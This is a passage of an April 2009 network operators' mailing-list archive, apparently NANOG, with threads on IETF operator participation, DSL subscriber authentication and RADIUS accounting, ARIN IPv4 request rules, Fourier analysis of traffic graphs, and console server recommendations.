Notary cannot > attest that what is on the document is valid. Actually, a notary can administer oaths, and the requirement from ARIN ought to require an attestation of the accuracy of the data submitted under oath or affirmation if we're going to go down that route. http://www.commonwealth.virginia.gov/OfficialDocuments/Notary/2008NotaryHandBook.pdf -r From william.allen.simpson at gmail.com Thu Apr 23 07:11:10 2009 From: william.allen.simpson at gmail.com (William Allen Simpson) Date: Thu, 23 Apr 2009 08:11:10 -0400 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <18DC265D-C513-45E9-8F65-8C98A26F0D4B@muada.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> <18DC265D-C513-45E9-8F65-8C98A26F0D4B@muada.com> Message-ID: <49F05ADE.7040908@gmail.com> Iljitsch van Beijnum wrote: > Depends on the issue. Sometimes bad ideas get traction in the IETF, it's > hard to undo that. .... > That's an understatement. > Also don't expect too much from IETF participation: if doing X is going > to make a vendor more money than doing Y, they're going to favor X, even > if Y is the superior solution. > Some wag around here re-christened it the IVTF (V stands for Vendor, not Victory). ;-) I haven't bothered to go in years.... From pekkas at netcore.fi Thu Apr 23 07:14:04 2009 From: pekkas at netcore.fi (Pekka Savola) Date: Thu, 23 Apr 2009 15:14:04 +0300 (EEST) Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> Message-ID: On Thu, 23 Apr 2009, Nathan Ward wrote: > After trying to participate on mailing lists for about 2 or 3 years, it's > pretty hard to get anything done without going to meetings. > > Just participating in mailing lists is good for keeping up to date, but not > so good for getting things changed. > > That's what I've found, anyway. Might not always be true. If you were to go to meetings, you would realize that it won't help in "gettings things changed" significantly better than active mailing list participation would... :-/ -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From adrian at creative.net.au Thu Apr 23 07:17:07 2009 From: adrian at creative.net.au (Adrian Chadd) Date: Thu, 23 Apr 2009 20:17:07 +0800 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <49F05ADE.7040908@gmail.com> References: <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> <18DC265D-C513-45E9-8F65-8C98A26F0D4B@muada.com> <49F05ADE.7040908@gmail.com> Message-ID: <20090423121707.GQ11570@skywalker.creative.net.au> On Thu, Apr 23, 2009, William Allen Simpson wrote: > Some wag around here re-christened it the IVTF (V stands for Vendor, not > Victory). ;-) I haven't bothered to go in years.... If the people with operational experience stop going, you can't blame the group for being full of vendors. Methinks its time a large cabal of network operators should represent at IETF and make their opinions heard as a collective group. That would be how change is brought about in a participative organisation, no? :) Adrian From william.mccall at gmail.com Thu Apr 23 07:23:56 2009 From: william.mccall at gmail.com (William McCall) Date: Thu, 23 Apr 2009 07:23:56 -0500 Subject: Broadband Subscriber Management In-Reply-To: <49F030A1.7040905@cirruscomms.com.au> References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> <49F030A1.7040905@cirruscomms.com.au> Message-ID: My understanding of the PPPoA/E deal is that SPs (originally) wanted to prevent some yahoo with a DSL modem from just being able to hook in to someone's existing DSL connection and using it, so they decided to implemement PPPoA and require some sort of authentication to prevent this scenario. At least one major vendor hold this to be the case, but I'm not sure if this is necessarily the case. Furthermore, a lot of the DSLAMs going out are GigE on the P side and ATM on the PE-CE. I can think of at least one or two issues with bungled ATM policing/shaping with a few vendors. In the case of my particular SP, they're performing the effective rate limiting at L1 anyway and terminating the PPPoA at the DSLAM so, in essence, they get to provide less throughput on the backend while advertising more (due to the inherent overhead of PPP and AAL5) Here's the output from my DSL training to show how they're doing it currently: Interleave Fast Interleave Fast Speed (kbps): 0 6016 0 768 This is my subscribed speed. RADIUS does add some nice features for usage monitoring but, here atleast, it was not a primary concern when it was first implemented (due to the 'unlimited' manner in which DSL was sold, the ability to get this per port, etc). --William > > From: Larry Smith > Sent: Thursday, 23 April 2009 2:07:42 AM > To: nanog at nanog.org > CC: > Subject: Re: Broadband Subscriber Management > >> On Wed April 22 2009 11:01, Curtis Maurand wrote: >> >> >>> I don't understand why DSL providers don't just administratively down >>> the port the customer is hooked to rather than using PPPoE which costs >>> bandwidth and has huge management overhead when you have to disconnect a >>> customer. I made the same recommendation to the St. Maarten (Dutch) >>> phone company several years ago. They weren't listening either. That >>> way you can rate limit via ATM or by throttling the port >>> administratively. >>> >>> >> >> Most likely because most RADIUS systems can be tied fairly easily directly >> to the billing/payment system which enables and disables (adds/removes) >> the customer from radius for payment/non-payment and therefore does >> not require any "technical" support to turn on/off customers. >> >> >> > > From bmanning at vacation.karoshi.com Thu Apr 23 07:24:35 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Thu, 23 Apr 2009 12:24:35 +0000 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <20090423121707.GQ11570@skywalker.creative.net.au> References: <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> <18DC265D-C513-45E9-8F65-8C98A26F0D4B@muada.com> <49F05ADE.7040908@gmail.com> <20090423121707.GQ11570@skywalker.creative.net.au> Message-ID: <20090423122435.GA28114@vacation.karoshi.com.> On Thu, Apr 23, 2009 at 08:17:07PM +0800, Adrian Chadd wrote: > On Thu, Apr 23, 2009, William Allen Simpson wrote: > > > Some wag around here re-christened it the IVTF (V stands for Vendor, not > > Victory). ;-) I haven't bothered to go in years.... > > If the people with operational experience stop going, you can't blame the group for > being full of vendors. > > Methinks its time a large cabal of network operators should represent > at IETF and make their opinions heard as a collective group. > That would be how change is brought about in a participative organisation, > no? :) > > Adrian Operator participation in IETF has been a problem for at least 18 years. I remember a fairly large dustup w/ John Curran and Scott Bradner over why the OPS area was so lacking in actual operators at the Columbus IETF. Its never gotten any better. IETF used to be populated by developers and visionaries (grad students with lofty ideas). Once commercialization set in (they graduated and got jobs) their funding sources changed from government grants to salaries. And management took a more active role. the outcome is that vendors now control much of the IETF participation and indirectly control IETF output. just my 0.02 from the cheap seats. --bill From nanog at daork.net Thu Apr 23 07:41:30 2009 From: nanog at daork.net (Nathan Ward) Date: Fri, 24 Apr 2009 00:41:30 +1200 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> Message-ID: <2B528926-F80C-4E66-9F38-DB83F390EB8C@daork.net> On 24/04/2009, at 12:14 AM, Pekka Savola wrote: > On Thu, 23 Apr 2009, Nathan Ward wrote: >> After trying to participate on mailing lists for about 2 or 3 >> years, it's pretty hard to get anything done without going to >> meetings. >> >> Just participating in mailing lists is good for keeping up to date, >> but not so good for getting things changed. >> >> That's what I've found, anyway. Might not always be true. > > If you were to go to meetings, you would realize that it won't help > in "gettings things changed" significantly better than active > mailing list participation would... :-/ I got heaps done in SFO - to the point where I'm happy to pay to get to Stockholm and Hiroshima later this year (I'm self employed, and live at the end of the world, so for me it's harder than most who just have to convince the boss :-). -- Nathan Ward From nanog at daork.net Thu Apr 23 07:45:17 2009 From: nanog at daork.net (Nathan Ward) Date: Fri, 24 Apr 2009 00:45:17 +1200 Subject: Broadband Subscriber Management In-Reply-To: References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> <49F030A1.7040905@cirruscomms.com.au> Message-ID: <73B852F1-6723-4B10-A9A7-2DA8CA506138@daork.net> On 24/04/2009, at 12:23 AM, William McCall wrote: > My understanding of the PPPoA/E deal is that SPs (originally) wanted > to > prevent some yahoo with a DSL modem from just being able to hook in to > someone's existing DSL connection and using it, so they decided to > implemement PPPoA and require some sort of authentication to prevent > this > scenario. Also, DSL was the upgrade from dialup in many places, and dialup is generally PPP. For ISPs, the re-engineering required north of the last mile is much less, particularly in the billing/accounting systems that no one wants to touch because they were written by that coder who left a few years ago and work just fine. -- Nathan Ward From arievayner at gmail.com Thu Apr 23 08:08:02 2009 From: arievayner at gmail.com (Arie Vayner) Date: Thu, 23 Apr 2009 16:08:02 +0300 Subject: Broadband Subscriber Management In-Reply-To: <49EF3F5D.6060604@xyonet.com> References: <49EF3F5D.6060604@xyonet.com> Message-ID: <20b13c6b0904230608m723288a1we7fc3c469e1e07cd@mail.gmail.com> You need also to remember that in many cases the DSL link is not provided by the actual ISP. In many cases this is a wholesale scenario which uses L2TP to forward the PPP session from the telco/DSL provider to the ISP. In many cases there would also be another L2TP hop to another sub-ISP/customer. Arie On Wed, Apr 22, 2009 at 7:01 PM, Curtis Maurand wrote: > > I don't understand why DSL providers don't just administratively down the > port the customer is hooked to rather than using PPPoE which costs bandwidth > and has huge management overhead when you have to disconnect a customer. I > made the same recommendation to the St. Maarten (Dutch) phone company > several years ago. They weren't listening either. That way you can rate > limit via ATM or by throttling the port administratively. > > Just a suggestion > > > Sherwin Ang wrote: > >> Hello Nanog! >> >> i just would like to see how other operators are handling >> broadband/DSL subscribers in their BRAS. Currently, we are >> implementing PPPoE with AAA on our Redback SE's and Cisco boxes. As >> our subscriber base grows and grows, management of user logins, >> passwords, password resets, password changes are getting really huge. >> Some customers also complains about the method of logging in, asking >> for an easier way to do it or dump logins altogether. We're looking >> at DHCP/CLIPS for Redback but haven't really tested it since it >> requires a new license for it. For Cisco, we've been empty so far in >> looking for a solution wherein we still have accounting and >> rate-limiting on subscriber vc's. >> >> how are network operators in your areas do it? DHCP? if i do DHCP, >> will i still have the flexibility of sending a radius reply attribute >> so i could rate-limit the subscribers speed? or still offer speed on >> demand via radius/time-based upgrade of their rate-limits during >> off-peak hours? >> >> thank you for any insights that you may share. >> >> >> -Sherwin >> >> >> > > > From steve at ibctech.ca Thu Apr 23 08:26:09 2009 From: steve at ibctech.ca (Steve Bertrand) Date: Thu, 23 Apr 2009 09:26:09 -0400 Subject: Broadband Subscriber Management In-Reply-To: <20b13c6b0904230608m723288a1we7fc3c469e1e07cd@mail.gmail.com> References: <49EF3F5D.6060604@xyonet.com> <20b13c6b0904230608m723288a1we7fc3c469e1e07cd@mail.gmail.com> Message-ID: <49F06C71.8090000@ibctech.ca> Arie Vayner wrote: > You need also to remember that in many cases the DSL link is not provided by > the actual ISP. In many cases this is a wholesale scenario which uses L2TP > to forward the PPP session from the telco/DSL provider to the ISP. > In many cases there would also be another L2TP hop to another > sub-ISP/customer. I have this exact setup (we are the sub-ISP). Sorry to sway this thread, but it seems like a good opportunity to ask about a problem I'm having. We went from a setup where the DSL provider's LNSs would auth/acct against our RADIUS server. This was working great for billing as previously discussed. Recently, there was another ISP inserted into the mix, between us and the DSL provider. The problem is that I now see RADIUS entries from both company's LNSs for each PPPoE login, which completely throws off the accounting numbers. Is there anyone here who can provide any insight as to whether this is normal, and/or how to fix it? We only do the authentication for our DSL subs. Essentially, I want to stop receiving the LNS connection info from the DSL provider itself, and only receive the ones coming from the intermediary ISP. I'm not particularly familiar with the specifics of an LNS configuration, but it would be great if I had some information that I could discuss with the provider in hopes to get this turned off (if possible): user 213:ISP xx.xx.38.134 Thu Apr 23 07:37 - 07:41 user 818:DSL Thu Apr 23 07:37 - 07:41 Steve From cmaurand at xyonet.com Thu Apr 23 08:41:52 2009 From: cmaurand at xyonet.com (Curtis Maurand) Date: Thu, 23 Apr 2009 09:41:52 -0400 Subject: Broadband Subscriber Management In-Reply-To: <49F030A1.7040905@cirruscomms.com.au> References: <49EF3F5D.6060604@xyonet.com> <200904221107.42362.lesmith@ecsis.net> <49F030A1.7040905@cirruscomms.com.au> Message-ID: <49F07020.9060500@xyonet.com> Good point. Oliver Eyre wrote: > Integration with the billing system is a big one, but remember that > not everybody is in control of the DSLAM or whichever device connects > to the access network and touches the end user directly. They may > instead rely on a wholesale provider for that if they don't have the > reach themselves. > > From: Larry Smith > Sent: Thursday, 23 April 2009 2:07:42 AM > To: nanog at nanog.org > CC: > Subject: Re: Broadband Subscriber Management >> On Wed April 22 2009 11:01, Curtis Maurand wrote: >> >>> I don't understand why DSL providers don't just administratively down >>> the port the customer is hooked to rather than using PPPoE which costs >>> bandwidth and has huge management overhead when you have to >>> disconnect a >>> customer. I made the same recommendation to the St. Maarten (Dutch) >>> phone company several years ago. They weren't listening either. That >>> way you can rate limit via ATM or by throttling the port >>> administratively. >>> >> >> Most likely because most RADIUS systems can be tied fairly easily >> directly >> to the billing/payment system which enables and disables (adds/removes) >> the customer from radius for payment/non-payment and therefore does >> not require any "technical" support to turn on/off customers. >> >> > From iljitsch at muada.com Thu Apr 23 09:36:24 2009 From: iljitsch at muada.com (Iljitsch van Beijnum) Date: Thu, 23 Apr 2009 16:36:24 +0200 Subject: NAT64/NAT-PT update in IETF, was: Re: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <20090423121707.GQ11570@skywalker.creative.net.au> References: <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> <70FC2DF9-2E1D-418D-BC73-F6F058127CBF@delong.com> <49EF7A2D.3010307@brightok.net> <00AD8D2B-1762-4DB0-B41D-4E8E0B73BF7E@muada.com> <49EF8E7D.90007@brightok.net> <18DC265D-C513-45E9-8F65-8C98A26F0D4B@muada.com> <49F05ADE.7040908@gmail.com> <20090423121707.GQ11570@skywalker.creative.net.au> Message-ID: <09C403CF-28A7-4700-B97D-8B5CF537E668@muada.com> On 23 apr 2009, at 14:17, Adrian Chadd wrote: > Methinks its time a large cabal of network operators should represent > at IETF and make their opinions heard as a collective group. > That would be how change is brought about in a participative > organisation, > no? :) Why don't you start by simpling stating what you want to have happen? So far I've seen a number of messages complaining about the IETF (btw, if you like complaining about the IETF, go to the meetings, there is significant time set aside for that there) but not a single technical request, remark or observation. The IETF works by rough consensus. That means if people disagree, nothing much happens. That is annoying. But a lot of good work gets done when people agree, and a lot of the time good technical arguments help. Like I said, the IETF really wants input from operators. Why not start by giving some? From mkarir at merit.edu Thu Apr 23 10:31:44 2009 From: mkarir at merit.edu (Manish Karir) Date: Thu, 23 Apr 2009 11:31:44 -0400 (EDT) Subject: NAT64/NAT-PT update in IETF,was: Re: Important New Requirement for IPv4 Requests [re"impacting revenue"] Message-ID: <620036540.1581621240500704110.JavaMail.root@crono> Would there be interest in trying to organize a day long mini-nanog with the ietf in March 2010? The regular nanog mtg is scheduled for Feb 22 2010 so this would have to be an extra meeting. and would require all sorts of help and interest from the ietf to put together. Perhaps the NANOG SC can try to figure out if there is sufficient interest in this and what this should consist of? -manish ------- > * From: Iljitsch van Beijnum > * Date: Thu Apr 23 10:37:12 2009 > > * List-archive: > * List-help: > * List-id: North American Network Operators Group > * List-post: > * List-subscribe: >, > * List-unsubscribe: >, > >On 23 apr 2009, at 14:17, Adrian Chadd wrote: > > > Methinks its time a large cabal of network operators should represent > at IETF and make their opinions heard as a collective group. > That would be how change is brought about in a participative organisation, > no? :) > >Why don't you start by simpling stating what you want to have happen? > >So far I've seen a number of messages complaining about the IETF (btw, if you like complaining about the IETF, go to >the meetings, there is significant time set aside for that there) but not a single technical request, remark or >observation. > >The IETF works by rough consensus. That means if people disagree, nothing much happens. That is annoying. But a lot of >good work gets done when people agree, and a lot of the time good technical arguments help. > >Like I said, the IETF really wants input from operators. Why not start by giving some? From leigh.porter at ukbroadband.com Thu Apr 23 10:33:19 2009 From: leigh.porter at ukbroadband.com (Leigh Porter) Date: Thu, 23 Apr 2009 16:33:19 +0100 Subject: Broadband Subscriber Management In-Reply-To: <49F06C71.8090000@ibctech.ca> References: <49EF3F5D.6060604@xyonet.com> <20b13c6b0904230608m723288a1we7fc3c469e1e07cd@mail.gmail.com> <49F06C71.8090000@ibctech.ca> Message-ID: <49F08A3F.1030509@ukbroadband.com> Could you have two instances of RADIUS, one for the middle-man and ignore the accounting from that server? -- Leigh Steve Bertrand wrote: > Arie Vayner wrote: > >> You need also to remember that in many cases the DSL link is not provided by >> the actual ISP. In many cases this is a wholesale scenario which uses L2TP >> to forward the PPP session from the telco/DSL provider to the ISP. >> In many cases there would also be another L2TP hop to another >> sub-ISP/customer. >> > > I have this exact setup (we are the sub-ISP). Sorry to sway this thread, > but it seems like a good opportunity to ask about a problem I'm having. > > We went from a setup where the DSL provider's LNSs would auth/acct > against our RADIUS server. This was working great for billing as > previously discussed. > > Recently, there was another ISP inserted into the mix, between us and > the DSL provider. > > The problem is that I now see RADIUS entries from both company's LNSs > for each PPPoE login, which completely throws off the accounting numbers. > > Is there anyone here who can provide any insight as to whether this is > normal, and/or how to fix it? We only do the authentication for our DSL > subs. > > Essentially, I want to stop receiving the LNS connection info from the > DSL provider itself, and only receive the ones coming from the > intermediary ISP. I'm not particularly familiar with the specifics of an > LNS configuration, but it would be great if I had some information that > I could discuss with the provider in hopes to get this turned off (if > possible): > > user 213:ISP xx.xx.38.134 Thu Apr 23 07:37 - 07:41 > user 818:DSL Thu Apr 23 07:37 - 07:41 > > Steve > > > From jmamodio at gmail.com Thu Apr 23 10:35:25 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 23 Apr 2009 10:35:25 -0500 Subject: The real issue In-Reply-To: References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> Message-ID: <202705b0904230835r423504b2ja656a57caffe34c3@mail.gmail.com> > it's a real shame that there is no mailing list for the endless arin > policy disease threads. Ohh, you can merge it with the one about the ICANN governance outcry nonsense, that way will be easier to filter or delete. My .02 Jorge From Jay.Murphy at state.nm.us Thu Apr 23 14:22:09 2009 From: Jay.Murphy at state.nm.us (Murphy, Jay, DOH) Date: Thu, 23 Apr 2009 13:22:09 -0600 Subject: The real issue In-Reply-To: <202705b0904230835r423504b2ja656a57caffe34c3@mail.gmail.com> References: <0F9F7D35-A204-44BC-90CC-1E935C984574@fattoc.com> <202705b0904230835r423504b2ja656a57caffe34c3@mail.gmail.com> Message-ID: Word up.... arin-announce at arin.net; arin-ppml at arin.net Jay Murphy IP Network Specialist NM Department of Health ITSD - IP Network Operations Santa Fe, New Mexico 87502 Bus. Ph.: 505.827.2851 "We move the information that moves your world." -----Original Message----- From: Jorge Amodio [mailto:jmamodio at gmail.com] Sent: Thursday, April 23, 2009 9:35 AM To: nanog at nanog.org Subject: Re: The real issue > it's a real shame that there is no mailing list for the endless arin > policy disease threads. Ohh, you can merge it with the one about the ICANN governance outcry nonsense, that way will be easier to filter or delete. My .02 Jorge ______________________________________________________________________ This inbound email has been scanned by the MessageLabs Email Security System. ______________________________________________________________________ Confidentiality Notice: This e-mail, including all attachments is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited unless specifically provided under the New Mexico Inspection of Public Records Act. If you are not the intended recipient, please contact the sender and destroy all copies of this message. -- This email has been scanned by the Sybari - Antigen Email System. From cgrundemann at gmail.com Thu Apr 23 15:54:10 2009 From: cgrundemann at gmail.com (Chris Grundemann) Date: Thu, 23 Apr 2009 14:54:10 -0600 Subject: Important New Requirement for IPv4 Requests [re "impacting revenue"] In-Reply-To: <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> References: <20090421151922.1492A2B2201@mx5.roble.com> <4269FAF5-9B9D-4997-BAD5-8259A4759036@istaff.org> <328B8B3B-9DD0-440A-99E4-B37193074CC9@fattoc.com> Message-ID: <443de7ad0904231354q2516e357qe2ec98b0b3f8dac5@mail.gmail.com> Apologies for a somewhat latent response - I was attending an IPv6 Seminar (of which ARIN was a sponsor) the last two days and am just getting to nanog mail today. On Tue, Apr 21, 2009 at 15:42, Shane Ronan wrote: > I'm not sure if anyone agrees with me, but these responses seem like a big > cop out to me. > > A) If ARIN is so concerned about the potential depletion of v4 resources, > they should be taking a more proactive roll in proposing potential solutions > and start conversation rather then saying that the users should come up with > a proposal which they then get a big vote one. "They" is YOU. ARIN policy is created by the community - "Your voice, your community." The statement should read: If [you] are so concerned about the potential depletion of v4 resources, [you] should be taking a more proactive [role] in proposing potential solutions and start[ing] conversation. If you participated in the ARIN PDP (1), even by just lurking on the ppml (2), you would already be aware that many folks have proposed many potential solutions (some of which have already been adopted) and that there _is_ an ongoing conversation that I strongly encourage you to join. > B) Again, while it might be the IETF's "job", shouldn't the group trusted > with the management of the IP space at least have a public opinion about > these solutions are designed. Ensuring that they are designed is such a way > to guarantee maximum adoption of v6 and thus reducing the potential for > depletion of v4 space. I think that developing resource management policy to meet those goals is much more in line with ARINs mandate. As I mentioned above, this is happening. > C) Are ARIN's books open for public inspection? If so, it might be > interesting for the group to see where all our money is going, since it's > obviously not going to outreach and solution planning. Perhaps it is being > spent in a reasonable manner, and the fees are where they need to be to > sustain the organizations reasonable operations, but perhaps not. Links to annual statements etc. have already been provided. I am sure an email to ARIN (3) would help you answer your question further. > Mr Curran, given the response you've seen from the group, and in particular > the argument that most CEO's or Officers of firms will simply sign off on > what they IT staff tells them (as they have little to no understanding of > the situation), can you explain what exactly you are hoping to achieve by > heaping on yet an additional requirement to the already over burdensome > process of receiving an IPv4 allocation? I obviously can not speak for Mr. Curran, but I do applaud this effort. I believe that adding this requirement will lower exaggeration and fraud as well as raise awareness. These are both noble goals and well worth the marginal effort required. The argument that most officers will sign anything put in front of them is not very convincing to me. I have a hard time accepting incompetence or laziness as a valid rational for any argument at all really. ~Chris (speaking for myself) (1) - https://www.arin.net/knowledge/pdp/ (2) - https://www.arin.net/participate/mailing_lists/index.html (3) - mailto:info at arin.net > > Shane Ronan > > --Opinions contained herein are strictly my own-- > > > > On Apr 21, 2009, at 9:01 AM, John Curran wrote: >> >> Roger - >> >> ? A few nits: >> >> ? A) ARIN's not ignoring unneeded legacy allocations, but can't take >> ? ? ?action without the Internet community first making some policy >> ? ? ?on what action should be taken... ?Please get together with folks >> ? ? ?of similar mind either via PPML or via Public Policy meeting at >> ? ? ?the the Open Policy Bof, and then propose a policy accordingly. >> >> ? B) Technical standards for NAT & NAPT are the IETF's job, not ARIN's. >> >> ? C) We've routinely lowered fees since inception, not raised them. >> >> Thanks, >> /John >> >> John Curran >> Acting CEO >> ARIN >> >> > > > -- Chris Grundemann weblog.chrisgrundemann.com From me at sharloncarty.net Thu Apr 23 16:08:02 2009 From: me at sharloncarty.net (Sharlon R. Carty) Date: Thu, 23 Apr 2009 17:08:02 -0400 Subject: Broadband Subscriber Management In-Reply-To: <49EF3F5D.6060604@xyonet.com> References: <49EF3F5D.6060604@xyonet.com> Message-ID: And they will never listen (TELEM). On Wed, Apr 22, 2009 at 12:01 PM, Curtis Maurand wrote: > > I don't understand why DSL providers don't just administratively down the > port the customer is hooked to rather than using PPPoE which costs bandwidth > and has huge management overhead when you have to disconnect a customer. I > made the same recommendation to the St. Maarten (Dutch) phone company > several years ago. They weren't listening either. That way you can rate > limit via ATM or by throttling the port administratively. > > Just a suggestion > > > Sherwin Ang wrote: > >> Hello Nanog! >> >> i just would like to see how other operators are handling >> broadband/DSL subscribers in their BRAS. Currently, we are >> implementing PPPoE with AAA on our Redback SE's and Cisco boxes. As >> our subscriber base grows and grows, management of user logins, >> passwords, password resets, password changes are getting really huge. >> Some customers also complains about the method of logging in, asking >> for an easier way to do it or dump logins altogether. We're looking >> at DHCP/CLIPS for Redback but haven't really tested it since it >> requires a new license for it. For Cisco, we've been empty so far in >> looking for a solution wherein we still have accounting and >> rate-limiting on subscriber vc's. >> >> how are network operators in your areas do it? DHCP? if i do DHCP, >> will i still have the flexibility of sending a radius reply attribute >> so i could rate-limit the subscribers speed? or still offer speed on >> demand via radius/time-based upgrade of their rate-limits during >> off-peak hours? >> >> thank you for any insights that you may share. >> >> >> -Sherwin >> >> >> > > > -- --sharlon From tkapela at gmail.com Thu Apr 23 16:48:54 2009 From: tkapela at gmail.com (Anton Kapela) Date: Thu, 23 Apr 2009 14:48:54 -0700 Subject: MRTG in Fourier Space In-Reply-To: <20090422003018.GA18289@doit.wisc.edu> References: <49EDFE63.33E4.0097.0@globalstar.com> <20090422003018.GA18289@doit.wisc.edu> Message-ID: <2e9d8ae50904231448i7e63be98hbd86e07a63cb06e@mail.gmail.com> Gents, On Tue, Apr 21, 2009 at 5:30 PM, Dave Plonka wrote: > > Hi Crist, > > On Tue, Apr 21, 2009 at 05:12:04PM -0700, Crist Clark wrote: >> >> Has anyone found any value in examining network utilization >> numbers with Fourier analyses? After staring at pretty In short, yup! >> there are some interesting periodic characteristics in the >> data that could be easily teased out beyond, "Well, the Indeed, there are. Interesting things emerge in frequency (or phase) space - bits/sec, packets/sec, and ave size, etc. - all have new meaning, often revealing subtle details otherwise missed. The UW paper [Barford/Plonka et. al] is one of my favories and often referenced in other publications. Along similar lines, I presented a lightning talk at nanog that demonstrates using windowed Ft's (mostly Gaussian or Hamming) in three-axis graphs (i.e. 'waterfalls') available in common tools (buadline, sigview, labview, etc) for characterizing round trip times through various network queues and queue states. Unexpectedly, interesting details regarding host IP stacks and OS scheduler behavior became visible. Find the talk slides and video here (look for 'kapela'): http://www.nanog.org/meetings/nanog37/agenda.php >> A quick Google search turned up nothing at all. Signal analysis, sadly, isn't as fun as going shopping or posting to webhosting talk, etc. so you won't likely find much there. > Such techniques are used in the are of network anomaly detection. > For instance, a search for "network anomaly detection" at > scholar.google.com will yield very many results. I would also mention citeseer (http://citeseer.ist.psu.edu/) and ieee explore (http://ieeexplore.ieee.org) - there's lots of related application of Ft's and wavelet/fir filters in various disciplines, all of which can apply to the analysis of time-series data. > is one such work. ?We mention that we use wavelet analysis rather > than Fourier analysis because wavelet/framelet analysis is able > to localize events both in the frequency and time domains, whereas > Fourier analysis would localize the events only in frequency, so an > iterative approach (with varying intervals of time) would be necessary. > In general, this is the reason why Fourier analysis has not been a > common technique used in network anomaly detection. I want to suggest that time windowed Ft might be a reasonable middle ground, certainly for Crist's case. Naturally, the trade-offs will be in frequency accuracy (ie. longer window) vs. temporal accuracy (ie. short window). Another solution for your needs might be cascaded FIR "bandpass" filters, but again, you're subject to time/frequency error trade-offs as related a filter's bandwidth. While you're at it, consider processing your time series data into histogram stacks, or nested histograms. I haven't specifically seen a paper covering this, but another UW gent (DW, are you reading this?) used to process their 30 second ifmib data into a raw .ps file, and printed this out weekly/daily. The trends visible here were quite interesting, but I don't think much further work was done to see if anything super-interesting was more/less visible in this form than traditional ones. -Tk From tkapela at gmail.com Thu Apr 23 17:05:24 2009 From: tkapela at gmail.com (Anton Kapela) Date: Thu, 23 Apr 2009 15:05:24 -0700 Subject: MRTG in Fourier Space In-Reply-To: <2e9d8ae50904231448i7e63be98hbd86e07a63cb06e@mail.gmail.com> References: <49EDFE63.33E4.0097.0@globalstar.com> <20090422003018.GA18289@doit.wisc.edu> <2e9d8ae50904231448i7e63be98hbd86e07a63cb06e@mail.gmail.com> Message-ID: <2e9d8ae50904231505l6dd13388scc61f9527e908772@mail.gmail.com> On Thu, Apr 23, 2009 at 2:48 PM, Anton Kapela wrote: > Indeed, there are. Interesting things emerge in frequency (or phase) > space - bits/sec, packets/sec, and ave size, etc. - all have new Forgot to mention one point - since packets/bits/etc data is more monotonic than not (math wizards, please debate/chime in) and since it's not a 'signal' in the continuous sense, you might find value in differentially filtering the input data *before* FT or wavelet processing. This would serve to remove the weird-looking "DC" offset in the output simply by creating a semi-even distribution of both positive and negative input sample values. -Tk From jabley at hopcount.ca Thu Apr 23 17:17:58 2009 From: jabley at hopcount.ca (Joe Abley) Date: Thu, 23 Apr 2009 18:17:58 -0400 Subject: integrated KVMoIP and serial console terminal server Message-ID: <1480BA76-4D32-4F82-8C45-9DBF3D4CDB5F@hopcount.ca> Hi all, What is everybody's favourite combination rack-mount VGA/USB KVM-over- IP and serial console concentrator in 2009? I'm looking for something that will accommodate 8 or so 9600bps serial devices and about 12 VGA/USB devices, all reachable over IP via sane means (ssh, https, etc). Being able to trunk everything through cat5E/ RJ45 plant is not necessary; in this application everything is in the same cabinet. Avocent seem to make a likely-looking box, but (a) it's a bit insanely expensive, and (b) the adapters that you connect using RJ45 to the avocent and via RS232 to the serial devices *each seem to require a power supply* which frankly makes me recoil in horror. Perhaps I mis- read the glossy web page. Advice would be appreciated; direct mail is fine; I can summarise back to the list if there is interest in me doing so. Joe From steve at ibctech.ca Thu Apr 23 18:50:12 2009 From: steve at ibctech.ca (Steve Bertrand) Date: Thu, 23 Apr 2009 19:50:12 